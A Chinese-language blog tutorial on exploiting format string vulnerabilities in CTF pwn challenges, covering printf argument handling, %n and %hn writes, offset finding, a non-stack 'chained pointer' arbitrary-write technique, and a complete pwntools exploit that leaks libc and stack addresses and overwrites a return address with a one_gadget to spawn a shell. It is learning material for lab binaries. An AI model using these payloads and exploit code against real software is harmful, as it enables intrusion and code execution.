PWN中格式化字符串漏洞(fmt)的利用

格式化字符串漏洞

初步了解:

.1 格式化字符串:

C语言中最常见的输出函数

C++
printf("%d",a);

其中的 %d 其实就是所谓的“格式化字符串”

wiki定义:

格式化字符串(英语:format string),是一些程序设计语言在格式化输出API函数中用于指定输出参数的格式与相对位置的字符串参数,例如C、C++等程序设计语言的printf类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。

简单说,格式化字符串就是用于控制输出函数输出内容时的方式位置

例如上面的代码的作用就是让系统按照整形格式输出变量a

以下是常见的格式化字符串:

点击图片可查看完整电子表格

对于其中%n的解释:

在这段代码中变量s被赋值为18,这是怎么做到的呢?

%n的作用是将字符个数赋值给指定地址,也就是说在涉及%n的情况下,某种程度上可以

将其视为赋值语句。

但问题是,这个赋值可不一般,它是赋值给一个地址,而且这个地址还可以是一个变量形

式的,也就是说我们可以通过这个漏洞控制本来不能控制的内存地址

格式化字符串的标准格式:%[parameter][flags][field width][.precision][length]type

而d,s,x,p,n就是其中的type(类型)

其中parampreter也比较重要

它可以忽略,写出后可以是:n$ (输出栈中第n个参数,这一点后面可以拿来泄露canary.libc等)

.2 printf()函数:

printf()函数支持可变参数,即可以给它传递无限个参数(但在VS或者win系统中有一定的保护机制)

而根据规定,在调用函数时,参数以从右向左的顺序压入栈中。如:

C++
print("%d %d %d",1,2,3);

Bash
push 3
push 2
push 1
lea edx, (aDDD - 1FD8h)[eax] ; "%d,%d,%d"
push edx ; format
mov ebx, eax
call _printf

(汇编形式)

那么在执行函数时,printf()会在栈中向前找三个参数,然后以十进制形式打印出来。

既然说printf()可以接受更多的参数,那么在传参时如果传入5个参数:

C++
printf("%d %d %d",1,2,3,4,5);

那么汇编代码就会呈现这种状态:

不难看出,这次printf()函数听话的传入了5个参数,但它只读出了3个参数。

参数比占位符多的情况貌似并没有什么实际利用价值。

接下来看参数少的情况:

C++
printf("%d %d %d",1,2);

这次我们只传入了两个参数,但我们却要求printf()函数输出三个参数

printf:我说小伙子你不讲武德。

运行结果如下:

可以发现,它还是打印了三个参数,但第三个参数显然有点奇怪,那它是哪来的呢:

这个值其实就是栈上在1和2之后的第三个值,但这个值确实不是由我们传入的。

在前面的代码中,我们告诉printf():“我传入了三个值,你自己找吧”

这时它会进行一个又聪明又笨的操作:它不怀疑我们有没有骗它,但它很“聪明”的自己去找了第三个值。所以程序就被它给出卖了:有坏比通过这个函数打印了不该被打印的值,而结合前面学到的格式化字符串中n$这个可选参数,这个值实际上往往可以操作为一个敏感的参数。

引用:

这种操作在泄露canary等情境下会有大用

.3 漏洞利用:

某种程度上,这个漏洞的造成可以说是由于程序员的偷懒:

如按标准来做的话:

C++
char *a;
scanf("%s",a);
printf("%s",a);

这段代码是没有任何问题的,但在实际中,可能会由于省事把第三行写作这样

C++
printf(a);

行不行?彳亍。有没有问题?问题很大!

对于以上的三段代码,我们跑起来,输入三个a,结果是一样的:

但是由于没有占位符,函数并不知道它接受了多少个参数,那么如果我们输入的奇怪一点会怎样呢?

如:

很显然,出问题了

这时printf输出的是个什么?——答:"aaa.%x"

是的,虽然没在函数调用给出占位符,但我们却在输入时传入了占位符,即使这样,printf也会把这个占位符执行掉,那么就会输出一个十六进制的值。

依然是对于上面的程序,此时如果我们输入多个“%x”,那么函数就会读取多个内存中的内容并把它打印出来。那么在实际运用中,我们就可以通过控制偏移量输出特定地址的内容,也就是利用前文提到的n$。

例如我们需要读取第七个内存地址中的内容,那么我们就可以构造为:aaa%6$x

因为这里是直接访问了栈,那么就是访问了第六个内存地址。

例子:jarvisoj_fm

开了NX和canary,但这题存在格式化字符串漏洞,所以canary有没有其实都一样

这道题考察的是利用格式化字符串漏洞改写栈上变量内容

从主函数中可以看出这题只要把变量x改成4就可以直接获取shell了

因为%n这个控制符是要把数写到地址处,所以还要用到目标变量的地址

先找找x的地址

然后要利用格式化字符串漏洞还有一个非常重要的步骤:计算偏移量。通过前面的理论基础可以想到,要想接触到栈中某个指定位置的元素就得利用格式化字符串中的n$这个参数,那么n代表的数字就要根据字符串输入位置的偏移来决定。

存在格式化字符串漏洞时计算偏移非常简单,只需要输入4个字符加上数个格式化字符串就可以找到偏移量:

可以看到第二个红框处的内容是41414141即4个A,而前面我们用read函数写入的第一部分内容就是4个A,也就是说从这里开始就是写入位置了,所以就能得出偏移量是11。

构造payload:

这里第一块的地址其实就相当于前面测试偏移时输入的AAAA,在将这个地址也就是变量x的位置写入栈上后,%11$n这个格式化字符串就会把前面输出的字符个数赋值给偏移为11的位置也就是变量x。而32位中一个地址是4字节,所以这样构造正好实现了将4复制给x,也就完成了改写。

完整脚本:

进阶理解&非栈上fmt利用:

一、"%Nc"(N指整数)

我们知道%n这个fmt可以将已打印的字符个数作为整形赋值给目标地址,在刚了解到格式化字符串漏洞时一般都会用aaaa%x$n这种方式去赋值,这种方式当然是效率极低的一种利用方式,实际上有一种更好的方式:"%c":

%c这个fmt是用来解析字符的,如果出现了[width]参数即%nc这种情况则表示printf应该打印出7个字符,如果参数不足7个那么就会用空格进行填充,所以在有限的读入长度下就可以用这种写法去赋值,比如%777c%n$n就会将第n个栈里的地址赋值为777

那么这种方式最大可以赋值多少呢,答案是一个int型的最大值65535=0xffff(内存里的两字节)

二、"%hn"

在与%Nc搭配使用时往往不会直接用%n,而是再加一个h参数,这个h参数的作用是规定修改目标地址的哪几位,64位下%n会修改4字节的内容,而加一个h %hn会修改2字节的内容,而前面也说到了%Nc的N最大是0xffff,正好就是两字节内容的最大值,所以一般情况下使用这种手法都是用%hn的

三、%n赋值到底是赋值给哪里的?

答:赋值给这块栈上的地址里

画个图:

是以栈上的地址为目标而不是以栈为目标,如果定位到的栈里没有合法地址,程序就会趋势

来到题目中:

先拿栈顶这里试试水:

输入一个%64c%6$n

可以成功将该处赋值为64

接下来就是考虑利用这个漏洞将某处篡改为shell地址进行劫持了,这个题开了partial RELRO,got表不可写的,所以不能劫持got表;我这题是篡改的return地址,接下来就写一下这个思路的分析。

———————————————————————————————————————————————————————

非栈上的格式化字符串漏洞:

如果格式化字符串是在栈上的,我们就可以先将目标地址写到栈上再对目标地址赋值,但是这里是在bss段上的,没办法直接任意写

对于这种情况可以使用一个连环劫持的手法

我们可以利用一个这样的结构:

如图,这两块栈的构造是

A: 栈地址1-->栈地址2-->栈地址3(其他地址)

B: 栈地址2-->栈地址3(其他地址)

(实际利用中找到 栈地址1-->栈地址2-->栈地址3 这样的三连环就能用了)

根据我画的图里的两个白色箭头,通过这个结构可以用%n$n直接修改到两个位置,定位栈A就可以修改address,而图中的a又是在address里的,通过,通过这样一个连环控制就可以实现任意地址写了,这里的逻辑关系稍微有些绕,需要好好理清楚,本质上是很简单的。

接下来实操看看,我们试着利用这个三连环将迭代变量篡改成一个奇怪的值

在这里栈地址3的后四位我们都可以利用格式化字符串漏洞去篡改,

篡改的目标后四位是0xde48,写一个%56904c%11$hn就ok了

可以看到通过定位栈A成功把栈B的指向篡改到了de48的位置

同时可以看到,在df38这里的内容也是成功的同步为de48

那么此时定位栈B(就是截图这里)会发生什么?篡改的会是de48处的内容,我们定位它篡改一下试试:

%1911c%37$hn

成功将de48处的内容改为了0x777(当然,是低位)

非栈上fmt例题:

一个非栈上的格式化字符串漏洞,主要是用到了格式化字符串给目标地址赋值的特性

题目程序非常简单,就是一个重复触发了五次格式化字符串漏洞的循环

由于唯一的读入是朝bss段上读的,靠溢出做题就别想了,这题很明显是想让我们利用格式化字符串(fmt)漏洞

通过前面的一段解释,应该(maybe?)能明白利用三连环结构构造任意地址写的手法了,接下来就考虑题目应该怎么打了,思路很简单:先在栈A处篡改内容为返回地址,然后再定位栈B去篡改返回地址的内容

就像这样

选择这块栈即可

我们要先定位这个位置然后将"栈地址3"篡改为返回地址,由于栈地址的偏移地址会随机化,所以这里要知道返回地址的后四位就得先拿到一个栈地址,这里正好泄露这个栈A就得了,拿到的是0xdf38

减去0xe0就是返回地址了,然后可以用 address & 0xffff 这个运算取出一个地址的后四位

然后就是用前面说过的方法填到栈上了

成功篡改栈地址3为返回地址

这时再定位这里篡改的就是返回地址里的内容了

那么现在有一个新的问题,这题我选择打onegadget,而这个地址在libc里的偏移是有五位的,比如这里libc_main是0x719e14c20840,而onegadget地址应该是0x719e14cxxxxx,也就是说篡改应该改五位,但是开头也说了用%c最大也只能改到后四位(低2字节),所以这里是要改两次的

改最后的四位和常识相似正常填地址正常篡改就得了,那改倒数第二个四位呢?其实我们可以先把地址+2放上去再改,画图好理解一点:

在内存里大概就是这样的感觉(按小端序画的)

我们用de48这个地址改的是蓝色部分(地址的最低两字节),+2后改的是绿色部分(地址的倒数第3到4字节)

所以我们就需要两次篡改去把onegadget的后八位字节分两次写进去

可以用这种方法将地址切成三段

Python
def address_cutto_3(int_address):
hex_address = hex(int_address)[2:]
part1 = '0x' + hex_address[:4]
part2 = '0x' + hex_address[4:8]
part3 = '0x' + hex_address[8:]
return [int(part1,16), int(part2,16), int(part3,16)]
shell_fall = address_cutto_3(onegadget)

先将中间四位地址写到对应位置

同理再把后四位写到对应位置

这样就成功在return地址填入我们的onegadget了

完整exp:

Python
from pwn import *
from LibcSearcher import *

#io=remote('node5.buuoj.cn',26329)
io = process("./1")
gdb.attach(io, "b *0x40081b")
context(os = "linux", arch = "amd64", log_level= "debug")

t=ELF('./1')
libc = ELF("./libc.so.6")

#泄露得到一个libc基地址和一个栈地址
io.sendlineafter("keyword\n", "%9$p-%11$p")
libc.address = int(io.recv(14), 16)-0x20840
io.recvuntil("-")
s_11_addr = int(io.recv(14), 16)
#拿到的栈地址是11$的

#log.info(hex(libc.address))
onegadget = libc.address + 0xf1247
#拿到libc里的onegadget地址
#log.info(hex(onegadget))

return_addr = s_11_addr - 0xe0
return_offset = return_addr & 0xffff
#11$栈地址减去0xe0就是返回地址,取出其偏移地址即后四位

s_base = (s_11_addr >> 0x10)<<0x10
#将栈地址右移左移后拿到栈的基地址
#log.info(hex(s_base))
#log.info(hex(return_offset))

#将onegadget地址切成三块
def address_cutto_3(int_address):
hex_address = hex(int_address)[2:]
part1 = '0x' + hex_address[:4]
part2 = '0x' + hex_address[4:8]
part3 = '0x' + hex_address[8:]
return [int(part1,16), int(part2,16), int(part3,16)]
shell_fall = address_cutto_3(onegadget)

#一个地址分作四部分,第一二部分不用管,一个为空一个固定,将libc_main改为libc_shell只需要改后五位(后两部分)即可
#先改第三部分
payload = f"%{return_offset+2}c%11$hn".encode()
io.sendlineafter("keyword\n", payload)
payload = f"%{shell_fall[1]}c%37$hn".encode()
io.sendlineafter("keyword\n", payload)

#再改第四部分
payload = f"%{return_offset}c%11$hn".encode()
io.sendlineafter("keyword\n", payload)
payload = f"%{shell_fall[2]}c%37$hn".encode()
io.sendlineafter("keyword\n", payload)

io.interactive()

posted @ 2024-09-26 22:42  ink777  阅读(874)  评论(0编辑  收藏  举报